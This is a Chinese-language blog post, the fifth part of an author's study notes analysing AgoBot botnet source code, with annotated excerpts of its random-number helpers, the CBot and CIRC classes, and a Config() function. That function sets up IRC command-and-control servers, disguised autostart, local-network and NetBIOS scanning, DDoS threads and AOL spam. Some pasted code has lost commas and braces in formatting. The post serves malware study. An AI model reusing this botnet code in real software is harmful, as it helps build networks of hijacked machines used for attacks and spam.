AgoBot 僵尸网络研究笔记(五)

 

五、08年03月06日

作者:青青子衿

email:[email protected]

1、 random.h文件分析,该文件中函数的作用应该是完成产生随机函数相关功能,存在三个函数

(1) void   init_random ();   函数,初始化随机因子

void   init_random () 

      srand ( GetTickCount ()); 

}

(2) int   brandom ( int   bot , int   top );    函数,产生一个指定范围的随机数

////////////////////////////////////////////////////////////

//

//函数功能:产生一个指定范围的随机数

//参数:   int bot 随机数范围的下限

//       int top   随机数范围的上线

//返回值:int  返回值为产生的随机数

//

//////////////////////////////////////////////////////////////

int   brandom ( int   bot int   top

  return  ( int )(( float )( top - bot )* rand ()/( RAND_MAX +1.0))+ bot

}

(3)、 int   get_random_number ( int   range );   函数, 产生一个0——range的随机函数

////////////////////////////////////////////////////////////////

//

//函数功能:产生一个0——range的随机函数

//参数:   int range   产生随机数范围的上限

//返回值:   返回值为产生的随机数

//

/////////////////////////////////////////////////////////////////

int   get_random_number ( int   range

  return   rand ()% range ;

}

2 class   CBot  :  public   CCommandHandler    类的分析

有10个成员函数:

public :

  CBot ();

  void   Init ();

  void   Config ();

  void   Recv ( CMessage  * pMsg );

  bool   HandleMsg ( CMessage  * pMsg );

  bool   Think ();

  CString   SysInfo ();

  CString   LongUptime ( int   iDays );

CString   Status ();

若干个成员变量:

  bool   m_bJoined ;

  unsigned   long   m_lStartTime ;

cvar    类型的变量若干个

command    类型的变量若干个

irc_server   类型的变量若干个

类的结构大概就这样的情况,由于该类比较复杂,具体分析将在后便逐步展开。

3 void   CBot :: Config ()   配置文件子函数,主要功能是配置bot的服务器IP,频道名称,端口号,等信息,对于这个bot的有效运行非常重要。该成员还是也是 CBot 类的初始化函数 void Init(); 中首先调用的一个函数。

void   CBot :: Config ()

{  

  init_random ();

  int   iCryptKey =10; 

  CString   sTemp

  sTemp . Format ( "%d" brandom (500, 22226));   //产生500至22226之间的一个随机数,作为bot端的端口

  //这里设置的是cBot类中的成员变量中irc_server类型的变量中包含的子类型变量的值。

 

  // void RegisterCvar(cvar *pCvar,   const char *szName, const char *szValue, const char *szDescription, bool bSave, bool bEncrypted, int iKey);

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick , "bot_compnick" , "false" , "CompName Generated Nick" , false , false ,0);  

 

  // The root server, this will be the most often used one

  //对主IRC服务器的设置

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_chanpass ,   "si_server_root.chanpass"

    "" ,                 "Server Info - Channel Password" ,   false false , 0 );     //频道的密码

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_mainchan ,   "si_server_root.mainchan"  

    "#channel" ,             "Server Info - Main Channel" ,     false false , 0 );     //(主)频道名

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_nickprefix ,   "si_server_root.nickprefix" ,

    "Ago-" ,               "Server Info - Nickname prefix" ,   false false , 0 );     //暱称前缀

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_port ,     "si_server_root.port"    

    "6667" ,               "Server Info - Server Port" ,     false false , 0 );     //IRC服务器的端口

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_server ,     "si_server_root.server"  

    "irc.somewhere.org" ,       "Server Info - Server Address" ,     false false , 0 );     //IRC服务器的域名或IP

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_servpass ,   "si_server_root.servpass"

    "" ,                 "Server Info - Server Password" ,   false false , 0 );       //IRC服务器登录密码

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServerRoot . si_usessl ,     "si_server_root.use_ssl"

    "false" ,             "Server Info - Use SSL ?" ,       false false , 0 );     //是否使用SSL加密

 

  g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServerRoot );   //将主服务器信息,添加到服务器信息列表中l;

  // Backup server 0   对第0个后备IRC服务器的设置

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_chanpass ,     "si_server_0.chanpass" , /

    "" ,                 "Server Info - Channel Password" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_mainchan ,     "si_server_0.mainchan" , /

    "#channel" ,             "Server Info - Main Channel" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_nickprefix ,   "si_server_0.nickprefix" , /

    "Ago-" ,               "Server Info - Nickname prefix" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_port ,       "si_server_0.port" , /

    "6667" ,               "Server Info - Server Port" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_server ,     "si_server_0.server" , /

    "irc2.somewhere.org" ,       "Server Info - Server Address" ,     false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_servpass ,     "si_server_0.servpass" , /

    "" ,                 "Server Info - Server Password" ,   false false , 0 );

  g_cMainCtrl . m_cCVar . RegisterCvar (& m_isServer0 . si_usessl ,     "si_server_0.use_ssl" , /

    "false" ,             "Server Info - Use SSL ?" ,       false false , 0 );

  g_cMainCtrl . m_cIRC . m_vServers . push_back (& m_isServer0 );   //将主服务器信息,添加到服务器信息列表中

//从这里直接设置的是cBot类中的个成员变量。

  //猜测is表示bot端到IRC服务器的通讯

  //猜测si标识IRC服务器到bot端的通讯

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_chanpass ,     "si_chanpass" ,     "" ,               "Server Info - Channel Password" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_mainchan ,     "si_mainchan" ,     "" ,               "Server Info - Main Channel" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_nickprefix ,   "si_nickprefix" ,   "" ,               "Server Info - Nickname prefix" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_port ,       "si_port" ,       "" ,               "Server Info - Server Port" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_server ,     "si_server" ,     "" ,               "Server Info - Server Address" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_servpass ,     "si_servpass" ,     "" ,               "Server Info - Server Password" ,           false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_usessl ,     "si_usessl" ,     "" ,               "Server Info - Use SSL ?" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& si_nick ,       "si_nick" ,       "" ,               "Server Info - Nickname" ,               false ,   false ,   0       );

 

  //关于Bot的信息,

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_version ,     "bot_version" ,     VERSION_AGOBOT ,         "Bot - Version" ,                   false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_filename ,     "bot_filename" ,     "filename.exe" ,         "Bot - Runtime Filename" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_id ,       "bot_id" ,       "a3-100" ,           "Bot - Current ID" ,                   false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_prefix ,     "bot_prefix" ,     "." ,             "Bot - Command Prefix" ,                 false ,   false ,   0       );   //命令前缀

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_ftrans_port ,   "bot_ftrans_port" ,   sTemp . CStr (),         "Bot - File Transfer Port" ,               false ,   false ,   0       );   //文件传输的端口

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_timeout ,     "bot_timeout" ,     "720000" ,           "Bot - Timeout for receiving in miliseconds" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_seclogin ,     "bot_seclogin" ,     "false" ,           "Bot - Enable login only by channel messages" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& bot_compnick ,     "bot_compnick" ,     "false" ,           "Bot - Use the computer name as a nickname" ,     false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& as_valname ,     "as_valname" ,     "Configuration Loader" ,     "Autostart - Value Name" ,               false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& as_enabled ,     "as_enabled" ,     "true" ,             "Autostart - Enabled" ,                 false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_maxthreads ,   "scan_maxthreads" ,   "100" ,             "Scanner - Maximum Number of threads" ,         false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto ,     "scan_auto" ,     "true" ,             "Scanner - Autoscan local network" ,           false ,   false ,   0       );  //是否自动扫描本地网络(局域网)

  g_cMainCtrl . m_cCVar . RegisterCvar (& scan_auto ,     "scan_auto_nb" ,     "true" ,             "Scanner - Autoscan LAN for NetBIOS" ,         false ,   false ,   0       );  //是否自动使用

  g_cMainCtrl . m_cCVar . RegisterCvar (& ddos_maxthreads ,   "ddos_maxthreads" ,   "100" ,             "DDOS - Maximum Number of threads" ,           false ,   false ,   0       );  //DOS攻击时的最大线程数

  g_cMainCtrl . m_cCVar . RegisterCvar (& redir_maxthreads ,   "redir_maxthreads" ,   "100" ,             "Redirect - Maximum Number of threads" ,         false ,   false ,   0       );  //应该与代理相关,具体的作用还不清楚

 

  g_cMainCtrl . m_cCVar . RegisterCvar (& identd_enabled ,   "identd_enabled" ,   "false" ,           "IdentD - Enable the server" ,             false ,   false ,   0       );

  g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_channel ,   "spam_aol_channel" ,   "#aolspam" ,           "AOL Spam - Channel name" ,               false ,   false ,   0       );  //作用还不清楚

  g_cMainCtrl . m_cCVar . RegisterCvar (& spam_aol_enabled ,   "spam_aol_enabled" ,   "true" ,           "AOL Spam - Channel name" ,                 false ,   false ,   0       );  //作用还不清楚

  //将前面设置的g_cMainCtrl.m_cIRC.m_vServers.push_back(&m_isServerRoot);放进去的信息,取出来,对&g_cMainCtrl.m_cBot中的信息进行设置

  //前面所设置的信息是保存在Irc_resever类中的,在这里再将这些信息放回cBot类中

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_chanpass g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_chanpass . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_mainchan g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_mainchan . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_nickprefix g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_nickprefix . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_port g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_port . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_server g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_server . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_servpass g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_servpass . sValue . CStr ());

  g_cMainCtrl . m_cCVar . SetCVar (& g_cMainCtrl . m_cBot . si_usessl g_cMainCtrl . m_cIRC . m_vServers . at (0)-> si_usessl . sValue . CStr ());

  // Use MD5 Passwords, for security reasons

  g_cMainCtrl . m_cMac . AddUser ( "User" ,       "MYMD5HASHWILLBEBIGBADANDLONGHEHE" ,   "Netmask.Net" ,   ""   );   // "password"

}

4、由于在 Config (); 函数中使用到了 CIRC 的内容,所以这里决定再过CBot类剩余成员函数功能的分析,先来最 CIRC 类进行一个初步的分析。

以下是对CIRC类的分析。

class   CIRC  :  public   CThread public   CCommandHandler    同时继承了 CThread 和  CCommandHandler  两个类

其中包括12个成员函数:并且12个成员函数均为公有函数

  CIRC ();

  virtual  ~ CIRC () { };

  virtual   void  * Run ();

  void   Init ();

  bool   HandleCommand ( CMessage  * pMsg );

  bool   SendRaw ( char  * szMsg );

  bool   SendRawFormat ( const   char  * szFmt , ...);

  bool   SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst );

  bool   SendFormat ( bool   bSilent bool   bNotice char  * szDst const   char  * szFmt , ...);

  void   Fail ();

  void   Disconnect ();

CString   NetInfo ();

以及多个成员变量: 也均为公有类型

  CSSLSocket        m_csslSocket ;   // The SSL socket

  bool            m_bConnected ;   // Am I connected ?

  bool            m_bJoined ;     // Have I joined the channel ?

  bool            m_bRunning ;     // Am I still running ?

  int            m_sSocket ;     // The socket connected to the server

  int            m_iFailCount ;   // Number of failed connections to the server

  int            m_iServerNum ;   // The current server index in vector

  unsigned   long        m_lLastRecv ;   // Last recv time for timeout

  CString          m_sLocalHost ;   // The local hostname

  CString          m_sLocalIp ;     // The local ip

  unsigned   long        m_lLocalAddr ;   // The local address as unsigned long

     command   m_cmdDisconnect m_cmdAction m_cmdGetEdu m_cmdGetHost m_cmdJoin ,     m_cmdMode m_cmdNetInfo m_cmdPart m _cmd PrivMsg m_cmdQuit m_cmdRaw m_cmdReconnect m_cmdServer ;

vector < irc_server *>   m_vServers ;

下面是 irc_server 结构体的具体定义

//记录IRC服务器信息的结构体

typedef   struct   irc_server_s

{  

  cvar   si_nickprefix ;     //暱称的前缀

  cvar   si_servpass ;     //服务器的密码

  cvar   si_server ;       //服务器

  cvar   si_port ;       //端口

  cvar   si_chanpass ;     //频道的密码

  cvar   si_mainchan ;     //频道的名称

  cvar   si_usessl ;       //使用ssl加密协议的情况

irc_server ;

(1) CIRC ()    构造函数

/////////////////////////////////////////////////////

//

//函数功能:构造函数,对类的变量进行初始化等工作

//

/////////////////////////////////////////////////////

CIRC :: CIRC () 

{

  // Initialize/Clear all variables

  m_bRunning = true

  m_bConnected = false

  m_bJoined = false ;

  m_sSocket = INVALID_SOCKET

  m_iFailCount =0; 

  m_iServerNum =0;

  m_sLocalHost . Assign ( "" );  // Clear the localhost to prevent crash with servers that don't do userhost

  m_lLastRecv = GetTickCount ();     //获得当前的时间

  // Initialize SSL Socket

  m_csslSocket . Init (); 

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章